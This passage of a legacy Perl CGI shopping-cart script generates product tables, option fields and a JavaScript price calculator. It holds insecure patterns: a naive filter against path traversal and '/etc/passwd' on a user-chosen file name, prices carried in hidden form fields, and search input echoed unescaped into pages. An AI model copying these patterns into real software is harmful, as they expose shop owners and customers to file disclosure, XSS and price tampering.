)\n {\n current = document.forms[X].elements[i].selectedIndex;\n A = document.forms[X].elements[i].options[current].text;\n A.match(/^.*\\+?\\$symbol(.+\$)/)\n B = RegExp.\$1\n if ( A.match(/\\+\\$symbol/) )\n {\n document.forms[X].add.value = Number(document.forms[X].add.value) + Number(B);\n               }\n if ( A.match(/[^+]\\$symbol/) )\n {\n document.forms[X].add.value = Number(document.forms[X].add.value) - Number(Price) + Number(B);\n }\n }\n }\n }\n if (document.forms[X].quantity)\n {\n document.forms[X].add.value *= document.forms[X].quantity.value;\n }\n whole = parseInt(document.forms[X].add.value)\n if ( isNaN(whole) ) { whole = \"0\" }\n dec = document.forms[X].add.value - whole\n // dec *= 1000\n dec *= Math.pow(10,($decimals2 + 1))\n dec = parseInt(dec)\n dec /= 10\n round = dec - parseInt(dec)\n round *= 10\n round = parseInt(round)\n dec = parseInt(dec)\n if ( round >= 5 )\n {\n dec += 1;\n // if ( dec == 100 ) { whole += 1; dec = 00 }\n if ( dec == Math.pow(10,$decimals2) ) { whole += 1; dec = 0 }\n }\n // if ( dec < 10 ) { dec = \"0\" + dec }\n if ( isNaN(dec) ) { dec = \"0\" }\n dec = String(dec)\n while ( dec.length < $decimals2 ) { dec = \"0\" + dec }\n // document.forms[X].add.value = \"$lang[42] \" + \"$symbol2 \" + whole + \".\" + dec\n Commas(whole);\n document.forms[X].add.value = \"$lang[42] $symbol2 \" + whole \n"; if ( $decimals2 ) { print "document.forms[X].add.value = document.forms[X].add.value + \".\" + dec\n";  } print "} // end compat\n else\n {\n document.forms[X].add.value = \"$button\"\n }\n }\n </SCRIPT>\n"; } if ($database_logo && $image) { print "<IMG SRC=\"$image\" ALT=\"$bizname\" BORDER=0><BR>\n"; } if ( ($navigation_bar) && ( $navigation_bar_position eq "top" || $navigation_bar_position eq "left" ) ) { &navigation_bar; } print "\n<CENTER>\n"; print "<FONT COLOR=\"$font2\" FACE=\"$font_face2\" SIZE=\"$font_size2\">"; if ( $cat_or_search eq "search" ) { print "$lang[72] "; } print "$cat"; print "</FONT> </CENTER>\n"; print "<CENTER><TABLE BORDER=\"$borders\" CELLPADDING=5 WIDTH=$table_width>\n <TR>"; if (!$name_pos) { $lang[54] = ""; } print "<TD ALIGN=CENTER><FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"><I>$lang[54]</I></FONT></TD>"; if ($image_pos) { $image_colspan = "4"; print "<TD ALIGN=CENTER><FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"><I>$lang[73]</I></FONT></TD>"; } else { $image_colspan = "3"; } print "<TD ALIGN=CENTER><FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"><I>$lang[74]</I></FONT></TD> <TD ALIGN=CENTER><FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"><I>$lang[75]</I></FONT></TD> </TR>"; print "<TR><TD COLSPAN=\"$image_colspan\" ><HR>\n</TD></TR>"; $total_items = 0; $form = $extra_forms; if (!$form) { $form = '0'; } $cat2 = $cat; $cat2 =~ s/ /_/g; foreach $item (@items) { if ( $item !~ /($separator)/ ) { $item = ""; next; } if ( $item =~ /\n$/ ) { chop($item); } if ( $item =~ /\r$/ ) { chop($item); } $item =~ s/"/&quot;/g; (@line) = split(/$separator/,$item); unshift(@line," "); $ii = @line; for($i=0;$i<=$ii;$i++) { if ($line[$i] =~ /\n$/) { chop($line[$i]); } while ($line[$i] =~ / $/) { chop($line[$i]); } $line[$i] = reverse($line[$i]); if ($line[$i] =~ /\n$/) { chop($line[$i]); } while ($line[$i] =~ / $/) { chop($line[$i]); } $line[$i] = reverse($line[$i]); } $item_cat = $line[$item_cat_pos]; $stock = $line[$stock_pos]; $name = $line[$name_pos]; $name = &quote_strip("$name"); $description = $line[$description_pos]; $description = &quote_strip("$description"); $price = $line[$price_pos]; if ( $price =~ / $/ ) { chop($price); } $sh = $line[$sh_pos]; $image = $line[$image_pos]; $n = 0; $description2 = ""; foreach $addition (@additionals) { $line[$addition] = &quote_strip("$line[$addition]"); $description2 .= "$line[$addition] "; $custom[$n] = $line[$addition]; $n++; } if ( ( $cat_or_search eq "cat" && $item_cat =~ /^$cat$/i ) || ( ($cat_or_search eq "search") && ($cat) && ( $name =~ /$cat/i || $description =~ /$cat/i || $item_cat =~ /$cat/i || $description2 =~ /$cat/i || $stock =~ /$cat/i ) ) || ( ($cat_or_search eq "search") && ($cat2) && ( $name =~ /$cat2/i || $description =~ /$cat2/i || $item_cat =~ /$cat2/i || $description2 =~ /$cat2/i || $stock =~ /$cat2/i ) ) || (( $item_cat_pos == 0 ) && ($cat_or_search eq "cat") && ($item)) || (( $item_cat_pos == 0 ) && ($cat_or_search eq "search") && ($item) && ($cat =~ /^(All).(Items)$/) ) ) { $cat_found = 1; $total_items++; if ( $total_items >= $item_start &&  ($total_items - $item_start) <= ( $items_per_page - 1 )  ) { print "<TR>\n <TD ALIGN=CENTER VALIGN=TOP><FORM METHOD=POST ACTION=\"$path3\">\n <FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"><B>$name</B></FONT></TD>\n"; if ($image_pos) { if ( $image =~ /^(http)/ ) { print "<TD ALIGN=CENTER VALIGN=TOP><IMG SRC=\"$image\" BORDER=\"$img_borders\"  ALT=\"$name\" $uni_width $uni_height ></TD>\n"; } elsif ( $image =~ /\./ ) { print "<TD ALIGN=CENTER VALIGN=TOP><IMG SRC=\"$base_img_url/$image\" BORDER=\"$img_borders\"  ALT=\"$name\" $uni_width $uni_height ></TD>\n"; } else { print "<TD ALIGN=CENTER VALIGN=TOP>$image_statement &nbsp;</TD>"; } } print "<TD VALIGN=TOP><FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\">$description"; if ($stock) { print "<BR>$lang[112] $stock"; } $n = 3; foreach $custom (@custom) { if (( $custom ) && ( $custom !~ /^OPTIONS/i && $custom !~ /^CHECKBOX/i && $custom !~ /^TEXT/i && $custom !~ /^QUANTITY/i ) ) { print "<BR>$custom"; } $n++; } print "</FONT></TD>\n <TD ALIGN=CENTER VALIGN=TOP><FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\">"; $symbol2 = "\\" . "$symbol"; if ( $price =~ /$discount_sep/ ) { (@discount_prices) = split(/$discount_sep/,$price); for($dp=0;$dp<=@discount_prices-1;$dp+=2) { print "<NOBR>$discount_prices[$dp+1] = $symbol $discount_prices[$dp] $lang[63]</NOBR><BR>"; } } elsif ($price) { if ($price !~ /$symbol2/ ) { print "$symbol "; } print "$price<BR>"; } print "</FONT>\n <INPUT TYPE=HIDDEN NAME=\"name\" VALUE=\"$name\">\n <INPUT TYPE=HIDDEN NAME=\"price\" VALUE=\"$price\">\n <INPUT TYPE=HIDDEN NAME=\"sh\" VALUE=\"$sh\">\n"; if ($database_return_url) { print "<INPUT TYPE=HIDDEN NAME=\"return\" VALUE=\"$database_return_url\">\n"; } else { print "<INPUT TYPE=HIDDEN NAME=\"return\" VALUE=\"$path3?$ENV{'QUERY_STRING'}\">\n"; } print "<INPUT TYPE=HIDDEN NAME=\"add2\" VALUE=\"1\">\n"; if ( $image =~ /^(http)/ ) { print "<INPUT TYPE=HIDDEN NAME=\"img\" VALUE=\"$image\">\n"; } elsif ( $image =~ /\./ ) { print "<INPUT TYPE=HIDDEN NAME=\"img\" VALUE=\"$base_img_url/$image\">\n"; } print "<INPUT TYPE=HIDDEN NAME=\"custom1\" VALUE=\"$description\">\n"; if ($stock) { print "<INPUT TYPE=HIDDEN NAME=\"custom2\" VALUE=\"$lang[112] $stock\">\n"; } $n = 3; foreach $custom (@custom) { if (( $custom ) && ( $custom !~ /^OPTIONS/i && $custom !~ /^CHECKBOX/i && $custom !~ /^TEXT/i && $custom !~ /^QUANTITY/i ) ) { print "<INPUT TYPE=HIDDEN NAME=\"custom$n\" VALUE=\"$custom\">\n"; } $n++; } if ( $button =~ /^http/i ) { print "<INPUT TYPE=HIDDEN NAME=\"add\">\n"; print "<INPUT TYPE=IMAGE NAME=\"add\" SRC=\"$button\" VALUE=\"$button\" BORDER=0>\n"; } else { print "&nbsp;<INPUT TYPE=SUBMIT NAME=\"add\" VALUE=\"$button\" >\n"; } print "</TD></TR>"; print "<TR><TD COLSPAN=\"$image_colspan\" ALIGN=\"$db_select_alignment\" >"; $n = 3; foreach $custom (@custom) { if (( $custom ) && ( $custom =~ /^OPTIONS/i )) { ($size,@options) = split(/$options_separator/,$custom); $size =~ /^OPTIONS(\d*)/i; $size = $1; if (!$force_no_script) { print "<NOSCRIPT>"; } print "<SELECT NAME=\"custom$n\" SIZE=\"$size\" >"; if (!$force_no_script) { print "</NOSCRIPT>"; } if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript\">\n if (compat)\n {\n document.write('<SELECT NAME=\"custom$n\" SIZE=\"$size\" OnChange=\"Total($form)\">');\n }\n else\n {\n document.write('<SELECT NAME=\"custom$n\" SIZE=\"$size\" >');\n }\n </SCRIPT>\n"; } $m = 0; foreach $opt (@options) { if ( $size > 1 && $m == 0 ) { print "<OPTION SELECTED>$opt\n"; } else { print "<OPTION>$opt\n"; } $m++; } print "</SELECT>\n"; if ($db_select_stack_or_across eq "stack") { print "<BR>\n"; } } if (( $custom ) && ( $custom =~ /^CHECKBOX/i )) { ($size,@options) = split(/$options_separator/,$custom); $opt = "@options"; if ( $symbol eq "\\" ) { $opt =~ s/\\/\\\\/g; } if (!$force_no_script) { print "<NOSCRIPT>"; } print "<FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"> <INPUT TYPE=CHECKBOX NAME=\"custom$n\" VALUE=\"$opt\" >$opt </FONT>"; if (!$force_no_script) { print "</NOSCRIPT>\n"; } if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript\">\n if (compat)\n {\n document.write('<FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"> <INPUT TYPE=CHECKBOX NAME=\"custom$n\" VALUE=\"$opt\" onClick=\"Total($form)\">$opt </FONT>');\n }\n else\n {\n document.write('<FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"> <INPUT TYPE=CHECKBOX NAME=\"custom$n\" VALUE=\"$opt\" >$opt </FONT>');\n }\n </SCRIPT>\n"; } if ($db_select_stack_or_across eq "stack") { print "<BR>\n"; } } if (( $custom ) && ( $custom =~ /^TEXT/i )) { ($size,@options) = split(/$options_separator/,$custom); ( $options[1] ,$options[2]) = split(/\-/,$options[1]); if (!$options[1]) { $options[1] = "20"; } if (!$options[2]) { $options[2] = "20"; } if (!$force_no_script) { print "<NOSCRIPT>"; } print "<BR><FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"> $options[0]  </FONT> <FONT COLOR=\"$font1\" SIZE=\"$font_size1\"> <INPUT TYPE=TEXT NAME=\"custom$n\" SIZE=\"$options[1]\" MAXLENGTH=\"$options[2]\"> </FONT>"; if (!$force_no_script) { print "</NOSCRIPT>"; } if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript\">\n document.write('<BR><FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"> $options[0] </FONT><FONT COLOR=\"$font1\" SIZE=\"$font_size1\"><INPUT TYPE=TEXT NAME=\"custom$n\" SIZE=\"$options[1]\" MAXLENGTH=\"$options[2]\"> </FONT>');\n </SCRIPT>\n"; } if ($db_select_stack_or_across eq "stack") { print "<BR>\n"; } } if (( $custom ) && ( $custom =~ /^QUANTITY/i )) { ($size,@options) = split(/$options_separator/,$custom); if ($options[1] =~ /\n$/ ) { chop($options[1]); } ( $options[1] ,$options[2],$options[3] ) = split(/\-/,$options[1]); if (!$options[1]) { $options[1] = "20"; } if (!$options[2]) { $options[2] = "20"; } if ($options[3] ne "0") { if (!$options[3]) { $options[3] = "1"; } } if (!$force_no_script) { print "<NOSCRIPT>"; } print "<FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"> $options[0]  </FONT> <FONT COLOR=\"$font1\" SIZE=\"$font_size1\"> <INPUT TYPE=TEXT NAME=\"quantity\" VALUE=\"$options[3]\" SIZE=\"$options[1]\" MAXLENGTH=\"$options[2]\"> </FONT> "; if (!$force_no_script) { print "</NOSCRIPT>"; } if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript\">\n if (compat)\n {\n document.write('<FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"> $options[0] </FONT><FONT COLOR=\"$font1\" SIZE=\"$font_size1\"><INPUT TYPE=TEXT NAME=\"quantity\" VALUE=\"$options[3]\" SIZE=\"$options[1]\" MAXLENGTH=\"$options[2]\" Onblur=\"Total($form)\"> </FONT> ');\n }\n else\n {\n document.write(' <FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"> $options[0] </FONT><FONT COLOR=\"$font1\" SIZE=\"$font_size1\"><INPUT TYPE=TEXT NAME=\"quantity\" VALUE=\"$options[3]\" SIZE=\"$options[1]\" MAXLENGTH=\"$options[2]\"> </FONT> ');\n }\n </SCRIPT>\n"; } if ($db_select_stack_or_across eq "stack") { print "<BR>\n"; } } $n++; } print "<HR>"; if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript\">\n if (compat) { Total($form); }\n </SCRIPT>\n"; } print "<INPUT TYPE=HIDDEN NAME=merchant VALUE=\"$FORM{'merchant'}\">\n </FORM>\n </TD></TR>"; $form++; } } } print "</TABLE>\n<CENTER>"; $cat =~ s/ /\%20/g; if ( !$cat && $cat_or_search eq "search" ) { $cat = "(empty)"; } if ( !$cat_found && $cat_or_search eq "cat" ) { if (!-e "$database_dir/$file") { print "<FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\">$lang[106] $database_dir/$file</FONT><BR>"; } else { print "<FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\">$lang[76] <B>$cat</B>, $lang[77] <B>$file</B></FONT><BR>"; } } if ( !$cat_found && $cat_or_search eq "search" ) { if (!-e "$database_dir/$file") { print "<FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\">$lang[106] $database_dir/$file</FONT><BR>"; } else { print "<FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\">$lang[78] <B>$FORM{'search'}</B>.</FONT><BR>"; } } $item_end = $item_start + $items_per_page - 1; if ( $item_end > $total_items ) { $item_end = $total_items; } if ( $total_items > $items_per_page ) { print "<FONT COLOR=\"$font2\" FACE=\"$font_face2\" SIZE=\"$font_size2\"> $lang[79] $item_start - $item_end $lang[113] $total_items</FONT><BR>"; $new_item_start = $item_start + $items_per_page; $query_separator2 = $query_separator; $query_separator2 =~ s/^\\//; for($i=1;$i<=$total_items;$i=$i+$items_per_page) { if ( ($total_items - $i) < ($items_per_page - 1) ) { $temp = $total_items; } else { $temp = ($i + ($items_per_page - 1)); } if ( $i == $item_start ) { $temp_font = $font2; } else { $temp_font = $font1; } $temp_path = "$path3?db$query_separator2$file$query_separator2$cat$query_separator2$i$query_separator2$items_per_page$query_separator2$cat_or_search"; if ($FORM{'merchant'}) { $temp_path .= "$delimiter$FORM{'merchant'}"; } print " <NOBR><A HREF=\"$temp_path\"><FONT COLOR=\"$temp_font\" FACE=\"$font_face1\" SIZE=\"$font_size1\">$lang[79] $i - $temp</FONT></A></NOBR> &nbsp;"; } print "<BR>"; } print "<BR>\n"; print "<TABLE><TR><TD VALIGN=TOP>\n"; &home; print "</TD><TD VALIGN=TOP>\n"; if ( $view_url ) { print "<FORM METHOD=POST ACTION=\"$path3\">\n"; if ($database_return_url) { print "<INPUT TYPE=HIDDEN NAME=\"return\" VALUE=\"$database_return_url\">\n"; } else { print "<INPUT TYPE=HIDDEN NAME=\"return\" VALUE=\"$path3?$ENV{'QUERY_STRING'}\">\n"; } print "<INPUT TYPE=HIDDEN NAME=merchant VALUE=\"$FORM{'merchant'}\"> <INPUT TYPE=HIDDEN NAME=purpose VALUE=\"look\"> <INPUT TYPE=IMAGE SRC=\"$view_url\" NAME=\"$lang[81]\" BORDER=0> </FORM></A></CENTER>\n"; } else { print "<FORM METHOD=POST ACTION=\"$path3\">\n"; if ($database_return_url) { print "<INPUT TYPE=HIDDEN NAME=\"return\" VALUE=\"$database_return_url\">\n"; } else { print "<INPUT TYPE=HIDDEN NAME=\"return\" VALUE=\"$path3?$ENV{'QUERY_STRING'}\">\n"; } print "<INPUT TYPE=HIDDEN NAME=merchant VALUE=\"$FORM{'merchant'}\"> <INPUT TYPE=HIDDEN NAME=purpose VALUE=\"look\"> <INPUT TYPE=SUBMIT VALUE=\"$lang[81]\"> </FORM></A></CENTER>\n"; } print "</TD></TR></TABLE>\n"; if ( $navigation_bar && $navigation_bar_position eq "bottom" ) { &navigation_bar; } if ($navigation_bar) { print "</TD></TR></TABLE>"; } if ($ENV{'HTTP_HOST'} eq "www.dansie.net") { print "<IMG SRC=\"http://www.dansie.net/cgi-bin/counter.pl\" border=0>"; } print "</BODY></HTML>\n"; } sub database3 { $ENV{'QUERY_STRING'} = "$path3" . "?" . "db=$FORM{'db'}&category=$FORM{'category'}&search=$FORM{'search'}&method=$FORM{'method'}&begin=$FORM{'begin'}&display=$FORM{'display'}&price=$FORM{'price'}&merchant=$FORM{'merchant'}"; $ENV{'QUERY_STRING'} =~ s/ /\+/g; if ( $FORM{'begin'} ) { $item_start = "$FORM{'begin'}"; } else { $item_start = "1"; } if ( $FORM{'display'} ) {  $items_per_page = "$FORM{'display'}"; } else { $FORM{'display'} = "$items_per_page"; } $FORM{'category'} =~ s/\+/ /g; $FORM{'category'} =~ s/\%20/ /g; $FORM{'search'} =~ s/\+/ /g; $FORM{'search'} =~ s/\%20/ /g; @keywords = (); if ( $FORM{'search'} ) { (@keywords) = split(/ /,$FORM{'search'}); } $FORM{'db'} =~ s/\.\.\///g; $FORM{'db'} =~ s/\.\.//g; $FORM{'db'} =~ s/(\/etc\/passwd)//g; open (FILE,"$database_dir/$FORM{'db'}"); @items = <FILE>; close (FILE); &symbol2; if ( $FORM{'search'} ) { $title_bar = "$FORM{'search'}"; } if ( $FORM{'category'} ) { $title_bar = "$FORM{'category'}"; } print "Content-type: text/html\n\n"; print "<HTML><HEAD><TITLE>$bizname - $title_bar</TITLE>\n$meta_tag\n</HEAD>\n <BODY BGCOLOR=\"$bgcolor\" BACKGROUND=\"$wp\"> <CENTER>\n"; if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript\">\n compat = false;\n if( parseInt( navigator.appVersion ) >= $compat )\n {\n compat = true;\n }\n </SCRIPT>\n"; } if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript1.2\">\n //if( (navigator.appVersion.search(/Mac/i)>=0) && (navigator.appName==\"Netscape\") )\n if( navigator.appVersion.search(/Mac/i)>=0 )\n { compat = false; }\n function Commas(intnum)\n {\n intstr = \"\"+intnum;\n inserts = parseInt(intstr.length)/3;\n sep = \"$currency_sep\"\n for(i=1;i<=inserts;i++)\n {\n if (intnum >= Math.pow(1000,i))\n {\n intlen = intstr.length\n temp1=parseInt(\"\"+(intnum/Math.pow(1000,i)))\n temp2=intstr.substring(intlen-((i*4)-1),intlen)\n intstr = temp1+sep+temp2\n }\n }\n whole = intstr\n }\n function Total(X)\n {\n if(compat)\n {\n if (document.forms[X].quantity)\n {\n if ( document.forms[X].quantity.value < 1 ) { document.forms[X].quantity.value = 1; }\n if ( isNaN(document.forms[X].quantity.value) ) { document.forms[X].quantity.value = 1; }\n"; if (!$fix_int_quantity) { print "document.forms[X].quantity.value = parseInt(document.forms[X].quantity.value);\n"; } print "}\n if ( document.forms[X].price.value.match(/$discount_sep/) )\n {\n Prices = document.forms[X].price.value.split(\"$discount_sep\");\n for(dp=0;dp<=Prices.length-1;dp+=2)\n {\n if ( document.forms[X].quantity && document.forms[X].quantity.value >= Number(Prices[dp+1]) ) { document.forms[X].add.value = Prices[dp]; }\n if ( !document.forms[X].quantity && Number(Prices[dp+1]) == 1 ) { document.forms[X].add.value = Prices[dp]; }\n }\n }\n else { document.forms[X].add.value = document.forms[X].price.value }\n document.forms[X].add.value.match(/(\\$symbol)?(.*)/)\n document.forms[X].add.value = Number(RegExp.\$2)\n Price = Number(RegExp.\$2)\n for (i = 0 ; i < document.forms[X].elements.length ; i++)\n {\n if ( document.forms[X].elements[i].name.match(/custom/) && document.forms[X].elements[i].type != \"hidden\" )\n {\n if ( document.forms[X].elements[i].type == \"checkbox\" && document.forms[X].elements[i].checked )\n { A = document.forms[X].elements[i].value;\n A.match(/^.*\\+?\\$symbol(.+\$)/)\n B = RegExp.\$1\n                 if ( A.match(/\\+\\$symbol/) )\n {\n document.forms[X].add.value = Number(document.forms[X].add.value) + Number(B);\n }\n if ( A.match(/[^+]\\$symbol/) )\n {\n document.forms[X].add.value = Number(document.forms[X].add.value) - Number(Price) + Number(B);\n }\n }\n if ( document.forms[X].elements[i].type == \"select-one\" || document.forms[X].elements[i].type == \"select-multiple\" )\n {\n current = document.forms[X].elements[i].selectedIndex;\n A = document.forms[X].elements[i].options[current].text;\n A.match(/^.*\\+?\\$symbol(.+\$)/)\n B = RegExp.\$1\n if ( A.match(/\\+\\$symbol/) )\n {\n document.forms[X].add.value = Number(document.forms[X].add.value) + Number(B);\n               }\n if ( A.match(/[^+]\\$symbol/) )\n {\n document.forms[X].add.value = Number(document.forms[X].add.value) - Number(Price) + Number(B);\n }\n }\n }\n }\n if (document.forms[X].quantity)\n {\n document.forms[X].add.value *= document.forms[X].quantity.value;\n }\n whole = parseInt(document.forms[X].add.value)\n if ( isNaN(whole) ) { whole = \"0\" }\n dec = document.forms[X].add.value - whole\n // dec *= 1000\n dec *= Math.pow(10,($decimals2 + 1))\n dec = parseInt(dec)\n dec /= 10\n round = dec - parseInt(dec)\n round *= 10\n round = parseInt(round)\n dec = parseInt(dec)\n if ( round >= 5 )\n {\n dec += 1;\n // if ( dec == 100 ) { whole += 1; dec = 00 }\n if ( dec == Math.pow(10,$decimals2) ) { whole += 1; dec = 0 }\n }\n // if ( dec < 10 ) { dec = \"0\" + dec }\n if ( isNaN(dec) ) { dec = \"0\" }\n dec = String(dec)\n while ( dec.length < $decimals2 ) { dec = \"0\" + dec }\n // document.forms[X].add.value = \"$lang[42] \" + \"$symbol2 \" + whole + \".\" + dec\n Commas(whole);\n document.forms[X].add.value = \"$lang[42] $symbol2 \" + whole \n"; if ( $decimals2 ) { print "document.forms[X].add.value = document.forms[X].add.value + \".\" + dec\n";  } print "} // end compat\n else\n {\n document.forms[X].add.value = \"$button\"\n }\n }\n </SCRIPT>\n"; } if ($database_logo && $image) { print "<IMG SRC=\"$image\" ALT=\"$bizname\" BORDER=0><BR>\n"; } if ( ($navigation_bar) && ( $navigation_bar_position eq "top" || $navigation_bar_position eq "left" ) ) { &navigation_bar; } print "\n<CENTER>\n"; print "<FONT COLOR=\"$font2\" FACE=\"$font_face2\" SIZE=\"$font_size2\">"; if ( $FORM{'category'} ) { print "$lang[91] $FORM{'category'}<BR>"; } if ( $FORM{'search'} && $lang[72] ) { print "$lang[72] $FORM{'search'}<BR>"; } if ( $FORM{'method'} && $lang[92] && ( $FORM{'method'} !~ /$lang[93]/i ) ) { print "$lang[92] $FORM{'method'}<BR>"; } print "</FONT> </CENTER>\n"; print "<CENTER><TABLE BORDER=\"$borders\" CELLPADDING=5 CELLSPACING=0 WIDTH=$table_width>\n <TR>"; if (!$name_pos) { $lang[54] = ""; } print "<TD ALIGN=CENTER><FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"><I>$lang[54]</I></FONT></TD>"; if ($image_pos) { $image_colspan = "4"; print "<TD ALIGN=CENTER><FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"><I>$lang[73]</I></FONT></TD>"; } else { $image_colspan = "3"; } print "<TD ALIGN=CENTER><FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"><I>$lang[74]</I></FONT></TD> <TD ALIGN=CENTER><FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"><I>$lang[75]</I></FONT></TD> </TR>"; print "<TR><TD COLSPAN=\"$image_colspan\" ><HR>\n</TD></TR>"; $total_items = 0; $form = $extra_forms; if (!$form) { $form = '0'; } foreach $item (@items) { if ( $item !~ /($separator)/ ) { $item = ""; next; } while ($item =~ /(\n|\r|\s)$/) { chop($item); } $item =~ s/"/&quot;/g; (@line) = split(/$separator/,$item); unshift(@line," "); $ii = @line; for($i=0;$i<=$ii;$i++) { while ($line[$i] =~ /(\n|\r|\s)$/) { chop($line[$i]); } $line[$i] = reverse($line[$i]); while ($line[$i] =~ /(\n|\r|\s)$/) { chop($line[$i]); } $line[$i] = reverse($line[$i]); } $item_cat = $line[$item_cat_pos]; $stock = $line[$stock_pos]; $name = $line[$name_pos]; $name = &quote_strip("$name"); $description = $line[$description_pos]; $description = &quote_strip("$description"); $price = $line[$price_pos]; if ( $price =~ / $/ ) { chop($price); } $sh = $line[$sh_pos]; $image = $line[$image_pos];        $n = 0; $description2 = ""; foreach $addition (@additionals) { $line[$addition] = &quote_strip("$line[$addition]"); $description2 .= "$line[$addition] "; $custom[$n] = $line[$addition]; $n++; } $cat_pass = 0; $search_pass = 0; $price_pass = 0; if ( $FORM{'category'} && ( $item_cat =~ /^$FORM{'category'}$/i ) ) { $cat_pass = 1; $category_exists = 1; } if ( !$FORM{'category'} ) { $cat_pass = 1; } if ( $FORM{'search'} ) { if ( ( $FORM{'method'} =~ /^($lang[93])$/i ) || (!$FORM{'method'}) ) { foreach (@keywords) { if ( $item =~ /($_)/i ) { $search_pass = 1; } } } if ( $FORM{'method'} =~ /^($lang[94])$/i ) { $keywords = (@keywords); $keywords2 = 0; foreach (@keywords) { if ( $item =~ /($_)/i ) { $keywords2++; } } if ( $keywords == $keywords2 ) { $search_pass = 1; } } if ( $FORM{'method'} =~ /^($lang[95])$/i ) { if ( $item =~ /($FORM{'search'})/i ) { $search_pass = 1; } } } if ( !$FORM{'search'} ) { $search_pass = 1; } if ( $FORM{'price'} ) { if ( $FORM{'price'} =~ /\-/ ) { ($price_low,$price_high) = split(/\-/,$FORM{'price'}); if ( ( $price >= $price_low ) && ( $price <= $price_high ) ) { $price_pass = 1; } } if ( $FORM{'price'} !~ /\-/ ) { if ( ( $price <= $FORM{'price'} ) ) { $price_pass = 1; } } } if ( !$FORM{'price'} ) { $price_pass = 1; } if ( $cat_pass && $search_pass && $price_pass ) { $match_found = 1; $total_items++; if ( $total_items >= $item_start &&  ($total_items - $item_start) <= ( $items_per_page - 1 )  ) { print "<TR>\n <TD ALIGN=CENTER VALIGN=TOP><FORM METHOD=POST ACTION=\"$path3\" TARGET=\"$target_name\" >\n <FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"><B>$name</B></FONT></TD>\n"; if ($image_pos) { if ( $image =~ /^(http)/ ) { print "<TD ALIGN=CENTER VALIGN=TOP><IMG SRC=\"$image\" BORDER=\"$img_borders\"  ALT=\"$name\" $uni_width $uni_height ></TD>\n"; } elsif ( $image =~ /\./ ) { print "<TD ALIGN=CENTER VALIGN=TOP><IMG SRC=\"$base_img_url/$image\" BORDER=\"$img_borders\"  ALT=\"$name\" $uni_width $uni_height ></TD>\n"; } else { print "<TD ALIGN=CENTER VALIGN=TOP>$image_statement &nbsp;</TD>\n"; } } print "<TD VALIGN=TOP><FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\">"; if ($description && ($description !~ /\#non.*taxable\#/i && $description !~ /\#noshipping\#/i) ) { print "$description<BR>\n"; } if ($stock) { print "$lang[112] $stock<BR>\n"; } $n = 3; foreach $custom (@custom) { if (( $custom ) && ( $custom !~ /^OPTIONS/i && $custom !~ /^CHECKBOX/i && $custom !~ /^TEXT/i && $custom !~ /^QUANTITY/i && $custom !~ /\#non.*taxable\#/i && $custom !~ /\#noshipping\#/i ) ) { print "$custom<BR>\n"; } $n++; } print "</FONT></TD>\n <TD ALIGN=CENTER VALIGN=TOP><FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\">\n"; $symbol2 = "\\" . "$symbol"; if ( $price =~ /$discount_sep/ ) { (@discount_prices) = split(/$discount_sep/,$price); for($dp=0;$dp<=@discount_prices-1;$dp+=2) { print "<NOBR>$discount_prices[$dp+1] = $symbol $discount_prices[$dp] $lang[63]</NOBR><BR>\n"; } } elsif ($price) { if ($price !~ /$symbol2/ ) { print "$symbol "; } print "$price<BR>\n"; } print "</FONT>\n <INPUT TYPE=HIDDEN NAME=\"name\" VALUE=\"$name\">\n <INPUT TYPE=HIDDEN NAME=\"price\" VALUE=\"$price\">\n <INPUT TYPE=HIDDEN NAME=\"sh\" VALUE=\"$sh\">\n"; if ($database_return_url) { print "<INPUT TYPE=HIDDEN NAME=\"return\" VALUE=\"$database_return_url\">\n"; } else { print "<INPUT TYPE=HIDDEN NAME=\"return\" VALUE=\"$ENV{'QUERY_STRING'}\">\n"; } print "<INPUT TYPE=HIDDEN NAME=\"add2\" VALUE=\"1\">\n"; if ( $image =~ /^(http)/ ) { print "<INPUT TYPE=HIDDEN NAME=\"img\" VALUE=\"$image\">\n"; } elsif ( $image =~ /\./ ) { print "<INPUT TYPE=HIDDEN NAME=\"img\" VALUE=\"$base_img_url/$image\">\n"; } print "<INPUT TYPE=HIDDEN NAME=\"custom1\" VALUE=\"$description\">\n"; if ($stock) { print "<INPUT TYPE=HIDDEN NAME=\"custom2\" 